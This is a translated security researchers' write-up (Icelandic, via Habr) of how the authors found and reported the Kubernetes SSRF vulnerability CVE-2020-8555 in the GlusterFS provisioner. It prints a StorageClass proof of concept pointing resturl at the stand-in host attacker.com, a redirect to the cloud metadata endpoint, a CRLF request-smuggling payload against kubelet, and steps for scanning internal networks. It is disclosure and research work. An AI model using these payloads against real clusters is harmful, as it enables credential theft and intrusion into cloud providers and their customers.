Þegar það snýst ekki bara um Kubernetes varnarleysi...

Athugið. þýð.: Höfundar þessarar greinar tala ítarlega um hvernig þeim tókst að uppgötva varnarleysið CVE-2020–8555 í Kubernetes. Þó að það virtist ekki mjög hættulegt í upphafi, ásamt öðrum þáttum, reyndist gagnrýni þess vera hámark fyrir suma skýjaveitendur. Nokkrar stofnanir verðlaunuðu sérfræðingunum rausnarlega fyrir störf þeirra.

Hver erum við

Við erum tveir franskir ​​öryggisrannsakendur sem uppgötvuðu í sameiningu veikleika í Kubernetes. Við heitum Brice Augras og Christophe Hauquiert, en á mörgum Bug Bounty pallum erum við þekkt sem Reeverzax og Hach í sömu röð:

• Brice Augras - Groupe Asten Company;
• Christophe Hauquiert - Kubernetes arkitekt hjá Nokia.

Hvað gerðist?

Þessi grein er leið okkar til að deila því hvernig venjulegt rannsóknarverkefni breyttist óvænt í mest spennandi ævintýri í lífi pödduveiðimanna (að minnsta kosti í bili).

Eins og þú veist líklega hafa pödduveiðimenn nokkra athyglisverða eiginleika:

• þeir lifa á pizzu og bjór;
• þeir virka þegar allir aðrir eru sofandi.

Við erum engin undantekning frá þessum reglum: við hittumst venjulega um helgar og eyðum svefnlausum nætur í reiðhestur. En eitt af þessum kvöldum endaði á mjög óvenjulegan hátt.

Upphaflega ætluðum við að hittast til að ræða þátttöku í CTF daginn eftir. Í samtali um Kubernetes öryggi í stýrðu þjónustuumhverfi mundum við eftir gömlu hugmyndinni um SSRF (Fölsun beiðnir á netþjóni) og ákvað að prófa að nota það sem árásarforskrift.

Klukkan 11 settumst við niður til að rannsaka og fórum að sofa snemma morguns, mjög sátt með niðurstöðurnar. Það var vegna þessarar rannsóknar sem við rákumst á MSRC Bug Bounty forritið og komum upp með forréttindastækkandi hagnýtingu.

Nokkrar vikur/mánuðir liðu og óvænt niðurstaða okkar leiddi til einnar hæstu verðlauna í sögu Azure Cloud Bug Bounty - auk þess sem við fengum frá Kubernetes!

Byggt á rannsóknarverkefninu okkar gaf Kubernetes vöruöryggisnefndin út CVE-2020–8555.

Nú langar mig að dreifa upplýsingum um fundinn varnarleysi eins mikið og hægt er. Við vonum að þú kunnir að meta uppgötvunina og deila tækniupplýsingunum með öðrum meðlimum infosec samfélagsins!

Svo hér er sagan okkar...

Samhengi

Til að skilja hvað gerðist sem best skulum við fyrst skoða hvernig Kubernetes virkar í skýstýrðu umhverfi.

Þegar þú stofnar Kubernetes klasa í slíku umhverfi er stjórnunarlagið venjulega á ábyrgð skýjaveitunnar:

Stjórnunarlagið er staðsett við jaðar skýjaveitunnar en Kubernetes hnútarnir eru staðsettir við jaðar viðskiptavinarins.

Til að úthluta rúmmáli á virkan hátt er kerfi notað til að útvega þau á virkan hátt frá ytri geymslubakenda og bera þau saman við PVC (viðvarandi bindikrafa, þ.e. beiðni um rúmmál).

Þannig, eftir að PVC er búið til og bundið við StorageClass í K8s klasanum, eru frekari aðgerðir til að veita hljóðstyrk teknar af kúbe/skýjastýringarstjóranum (nákvæmt nafn hans fer eftir útgáfunni). (Athugið. þýð.: Við höfum þegar skrifað meira um CCM með því að nota dæmi um útfærslu þess fyrir einn af skýjaveitunum hér.)

Það eru nokkrar gerðir af úthlutun sem Kubernetes styður: flestar þeirra eru innifalin í hljómsveitarstjórakjarna, á meðan öðrum er stjórnað af viðbótarveitum sem eru settar í belg í þyrpingunni.

Í rannsóknum okkar einbeittum við okkur að innri bindiveitingu, sem er sýnt hér að neðan:

Kraftmikil úthlutun magns með því að nota innbyggða Kubernetes úthlutunina

Í stuttu máli, þegar Kubernetes er notað í stýrðu umhverfi, er stjórnandi stjórnandi á ábyrgð skýjaveitunnar, en beiðni um að búa til magn (númer 3 á skýringarmyndinni hér að ofan) yfirgefur innra net skýjaveitunnar. Og þetta er þar sem hlutirnir verða mjög áhugaverðir!

Atburðarás fyrir reiðhestur

Í þessum hluta munum við útskýra hvernig við nýttum okkur verkflæðið sem nefnt er hér að ofan og fengum aðgang að innri auðlindum skýjaþjónustuveitunnar. Það mun einnig sýna þér hvernig þú getur framkvæmt ákveðnar aðgerðir, svo sem að fá innri skilríki eða auka réttindi.

Ein einföld meðhöndlun (í þessu tilfelli, Þjónustuhliðarbeiðnafölsun) hjálpaði til við að fara út fyrir viðskiptavinaumhverfið í klasa ýmissa þjónustuveitenda undir stýrðum K8.

Í rannsóknum okkar lögðum við áherslu á GlusterFS úthlutunina. Þrátt fyrir þá staðreynd að frekari röð aðgerða sé lýst í þessu samhengi, eru Quobyte, StorageOS og ScaleIO næm fyrir sama varnarleysi.

Misnotkun á kraftmiklu úthlutunarkerfi fyrir hljóðstyrk

Við geymsluflokkagreiningu GlusterFS í Golang viðskiptavinur frumkóða við tók eftirað á fyrstu HTTP beiðninni (3) sem send var við gerð bindi, til loka sérsniðnu vefslóðarinnar í færibreytunni resturl bætt við /volumes.

Við ákváðum að losa okkur við þessa viðbótarleið með því að bæta við # í færibreytu resturl. Hér er fyrsta YAML stillingin sem við notuðum til að prófa fyrir hálfblindan SSRF varnarleysi (þú getur lesið meira um hálfblind eða hálfblind SSRF, til dæmis, hér - ca. þýðing.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Síðan notuðum við tvöfaldann til að fjarstýra Kubernetes þyrpingunni kubectl. Venjulega leyfa skýjaveitur (Azure, Google, AWS, osfrv.) þér að fá skilríki til notkunar í þessu tóli.

Þökk sé þessu gat ég notað „sérstöku“ skrána mína. Kube-controller-manager framkvæmdi HTTP beiðnina sem varð til:

kubectl create -f sc-poc.yaml

Svarið frá sjónarhóli árásarmannsins

Stuttu eftir þetta gátum við líka fengið HTTP svar frá markþjóninum - í gegnum skipanirnar describe pvc eða get events í kubectl. Og svo sannarlega: þessi sjálfgefna Kubernetes bílstjóri er of fjölorður í viðvörunum/villuskilaboðum sínum...

Hér er dæmi með hlekk á https://www.google.frstilla sem færibreytu resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Í þessari nálgun vorum við takmörkuð við fyrirspurnir eins og HTTP POST og gat ekki fengið innihald svarhlutans ef skilakóði var 201. Þess vegna ákváðum við að gera frekari rannsóknir og stækkuðum þessa tölvuþrjóts atburðarás með nýjum aðferðum.

Þróun rannsókna okkar

• Ítarlegt atburðarás #1: Notkun 302 tilvísunar frá ytri netþjóni til að breyta HTTP aðferðinni til að veita sveigjanlegri leið til að safna innri gögnum.
• Ítarlegt atburðarás #2: Gerðu sjálfvirkan LAN skönnun og uppgötvun innri auðlinda.
• Háþróuð atburðarás #3: að nota HTTP CRLF + smygl („beiðna um smygl“) til að búa til sérsniðnar HTTP beiðnir og sækja gögn sem eru dregin út úr kúbe-stýringarskrám.

Tæknilýsing

• Rannsóknin notaði Azure Kubernetes Service (AKS) með Kubernetes útgáfu 1.12 á Norður-Evrópu svæðinu.
• Atburðarásin sem lýst er hér að ofan voru framkvæmd á nýjustu útgáfum Kubernetes, að undanskildu þriðju atburðarásinni, vegna þess að hann þurfti Kubernetes byggða með Golang útgáfu ≤ 1.12.
• Ytri netþjónn árásarmannsins - https://attacker.com.

Ítarlegt atburðarás #1: Að beina HTTP POST beiðni til GET og taka á móti viðkvæmum gögnum

Upprunalega aðferðin var endurbætt með uppsetningu á netþjóni árásarmannsins til að snúa aftur 302 HTTP endurkóðatil að breyta POST beiðni í GET beiðni (skref 4 á skýringarmyndinni):

Fyrsta beiðni (3) sem kemur frá viðskiptavininum GlusterFS (Controller Manager), hefur POST gerð. Með því að fylgja þessum skrefum gátum við breytt því í GET:

• Sem breytu resturl í StorageClass er það gefið til kynna http://attacker.com/redirect.php.
• Endapunktur https://attacker.com/redirect.php svarar með 302 HTTP stöðukóða með eftirfarandi staðsetningarhaus: http://169.254.169.254. Þetta getur verið hvaða innri auðlind sem er - í þessu tilviki er tilvísunartengillinn eingöngu notaður sem dæmi.
• Sjálfgefið net/http bókasafn Golang vísar beiðninni áfram og breytir POST í GET með 302 stöðukóða, sem leiðir til HTTP GET beiðni til markauðlindarinnar.

Til að lesa HTTP svar meginmálið þarftu að gera describe PVC hlutur:

kubectl describe pvc xxx

Hér er dæmi um HTTP svar á JSON sniði sem við gátum tekið á móti:

Möguleiki veikleikans sem fannst á þeim tíma var takmörkuð vegna eftirfarandi atriða:

• Vanhæfni til að setja HTTP hausa inn í sendandi beiðni.
• Vanhæfni til að framkvæma POST beiðni með færibreytum í meginmáli (þetta er þægilegt að biðja um lykilgildi frá etcd tilviki sem keyrir á 2379 port ef ódulkóðað HTTP er notað).
• Vanhæfni til að sækja innihald svars þegar stöðukóði var 200 og svarið var ekki með JSON efnisgerð.

Ítarleg atburðarás #2: Skanna staðarnetið

Þessi hálfblinda SSRF aðferð var síðan notuð til að skanna innra net skýjaveitunnar og skoða ýmsar hlustunarþjónustur (Metadata tilvik, Kubelet, osfrv.) byggt á svörunum kúbe stjórnandi.

Fyrst voru staðlaðar hlustunargáttir Kubernetes íhluta ákvörðuð (8443, 10250, 10251, o.s.frv.) og síðan þurftum við að gera skönnunarferlið sjálfvirkt.

Þar sem við sáum að þessi aðferð við að skanna auðlindir er mjög sértæk og er ekki samhæf við klassíska skanna og SSRF verkfæri, ákváðum við að búa til okkar eigin starfsmenn í bash skriftu sem gerir allt ferlið sjálfvirkt.

Til dæmis, til að skanna fljótt bilið 172.16.0.0/12 innra netsins, voru 15 starfsmenn settir af stað samhliða. Ofangreint IP-svið hefur aðeins verið valið sem dæmi og gæti verið háð breytingum á IP-sviði þjónustuveitunnar þinnar.

Til að skanna eina IP tölu og eina höfn þarftu að gera eftirfarandi:

• eyða síðasta merktu StorageClass;
• fjarlægja fyrri staðfesta viðvarandi bindikröfu;
• breyta IP- og Portgildum í sc.yaml;
• búa til StorageClass með nýjum IP og tengi;
• búa til nýtt PVC;
• draga út skannaniðurstöður með því að nota describe fyrir PVC.

Ítarleg atburðarás #3: CRLF innspýting + smygl HTTP í „gömlum“ útgáfum af Kubernetes klasanum

Ef til viðbótar þessu bauð veitandinn viðskiptavinum gamlar útgáfur af K8s klasanum и gaf þeim aðgang að logbókum kube-controller-manager urðu áhrifin enn mikilvægari.

Það er örugglega miklu þægilegra fyrir árásarmann að breyta HTTP beiðnum sem eru hannaðar til að fá fullt HTTP svar að eigin geðþótta.

Til að framkvæma síðustu atburðarásina þurfti að uppfylla eftirfarandi skilyrði:

• Notandinn verður að hafa aðgang að kube-controller-manager logs (eins og til dæmis í Azure LogInsights).
• Kubernetes þyrpingin verður að nota útgáfu af Golang lægri en 1.12.

Við settum upp staðbundið umhverfi sem líkti eftir samskiptum milli GlusterFS Go biðlarans og falsa miðlara (við munum forðast að birta PoC í bili).

Var fundinn varnarleysi, sem hefur áhrif á Golang útgáfur lægri en 1.12 og gerir tölvuþrjótum kleift að framkvæma HTTP smygl/CRLF árásir.

Með því að sameina hálfblindan SSRF sem lýst er hér að ofan вместе með þessu gátum við sent beiðnir að vild, þar á meðal að skipta um hausa, HTTP aðferð, breytur og gögn, sem kube-controller-manager vann síðan.

Hér er dæmi um virka „beita“ í færibreytu resturl StorageClass, sem útfærir svipaða árásaratburðarás:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Niðurstaðan er villa óumbeðið svar, skilaboð um það eru skráð í stjórnandaskrám. Þökk sé orðræðu sem er sjálfgefið virkt er innihald HTTP svarskilaboðanna einnig vistað þar.

Þetta var áhrifaríkasta „beita“ okkar innan ramma sönnunargagna.

Með því að nota þessa nálgun gátum við framkvæmt nokkrar af eftirfarandi árásum á þyrpingar ýmissa stýrðra k8s veitenda: forréttindaaukning með skilríkjum á lýsigagnatilvikum, Master DoS með (ódulkóðuðum) HTTP beiðnum á etcd mastertilvikum o.s.frv.

Eftirmála

Í opinberri yfirlýsingu Kubernetes varðandi SSRF varnarleysið sem við uppgötvuðum var það metið CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ef við lítum aðeins á varnarleysið sem tengist Kubernetes jaðrinum, heilleikavigurnum (heilleika vektor) það gildir sem ekkert.

Hins vegar, að meta hugsanlegar afleiðingar í samhengi við stýrt þjónustuumhverfi (og þetta var áhugaverðasti hluti rannsóknarinnar!) varð til þess að við endurflokkuðum varnarleysið í einkunn. Mikilvægt CVSS10/10 fyrir marga dreifingaraðila.

Hér að neðan eru viðbótarupplýsingar til að hjálpa þér að skilja sjónarmið okkar þegar metið er hugsanleg áhrif í skýjaumhverfi:

Heiðarleiki

• Framkvæmdu skipanir með fjarstýringu með því að nota áunnin innri skilríki.
• Að endurskapa ofangreinda atburðarás með því að nota IDOR (Insecure Direct Object Reference) aðferðina með öðrum auðlindum sem finnast á staðarnetinu.

Trúnaður

• Árásartegund Hliðarhreyfing þökk sé þjófnaði á skýjaskilríkjum (til dæmis API lýsigagna).
• Söfnun upplýsinga með því að skanna staðarnetið (ákvarða SSH útgáfu, HTTP netþjónsútgáfu, ...).
• Safnaðu upplýsingum um tilvik og innviði með því að skoða innri API eins og lýsigögn API (http://169.254.169.254, ...).
• Að stela gögnum viðskiptavina með því að nota skýjaskilríki.

Framboð

Allar nýta atburðarás sem tengjast árásarvektorum á heilindi, er hægt að nota til eyðileggjandi aðgerða og leiða til þess að aðaltilvik frá ummáli viðskiptavinarins (eða öðrum) eru ekki tiltæk.

Þar sem við vorum í stýrðu K8s umhverfi og metum áhrif á heilleika, getum við ímyndað okkur margar aðstæður sem gætu haft áhrif á framboð. Fleiri dæmi eru meðal annars að spilla etcd gagnagrunninum eða hringja í Kubernetes API.

Tímalína

• 6. desember 2019: Varnarleysi tilkynnt til MSRC Bug Bounty.
• 3. janúar 2020: Þriðji aðili tilkynnti forriturum Kubernetes að við værum að vinna í öryggisvandamálum. Og bað þá um að líta á SSRF sem innri (í kjarna) varnarleysi. Við sendum síðan almenna skýrslu með tæknilegum upplýsingum um upptök vandamálsins.
• 15. janúar 2020: Við útveguðum tæknilegum og almennum skýrslum til Kubernetes forritara að beiðni þeirra (í gegnum HackerOne vettvanginn).
• 15. janúar 2020: Hönnuðir Kubernetes tilkynntu okkur að hálfblind SSRF + CRLF innspýting fyrir fyrri útgáfur er talin vera veikleiki í kjarnanum. Við hættum strax að greina jaðar annarra þjónustuveitenda: K8s teymið var nú að takast á við undirrót.
• 15. janúar 2020: MSRC verðlaun móttekin í gegnum HackerOne.
• 16. janúar 2020: Kubernetes PSC (Vöruöryggisnefnd) viðurkenndi varnarleysið og bað um að halda því leyndu þar til um miðjan mars vegna mikils fjölda hugsanlegra fórnarlamba.
• 11. febrúar 2020: Google VRP verðlaun móttekin.
• 4. mars 2020: Kubernetes verðlaun móttekin í gegnum HackerOne.
• 15. mars 2020: Upphaflega áætlaðri opinberri birtingu frestað vegna COVID-19 ástandsins.
• 1. júní 2020: Sameiginleg yfirlýsing Kubernetes + Microsoft um varnarleysið.

TL; DR

• Við drekkum bjór og borðum pizzu :)
• Við uppgötvuðum innra varnarleysi í Kubernetes, þó við hefðum ekki í hyggju að gera það.
• Við gerðum viðbótargreiningu á klösum mismunandi skýjaveitna og gátum aukið tjónið af völdum varnarleysis til að fá auka bónusa.
• Þú munt finna mikið af tæknilegum upplýsingum í þessari grein. Við myndum vera fús til að ræða þau við þig (Twitter: @ReeverZax & @__hach_).
• Í ljós kom að alls kyns formsatriði og skýrslur tóku mun lengri tíma en áætlað var.

tilvísanir

• Google hópur kubernetes-security-anounce;
• CVE-2020-8555;
• golang tölublað #30794;
• heketi/client/api/go-client/volume.go.

PS frá þýðanda

Lestu líka á blogginu okkar:

• «Kubernetes villuleit er formlega opin»;
• «Farið úr belg í Kubernetes með því að setja upp annála»;
• «33+ Kubernetes öryggisverkfæri'.

Heimild: www.habr.com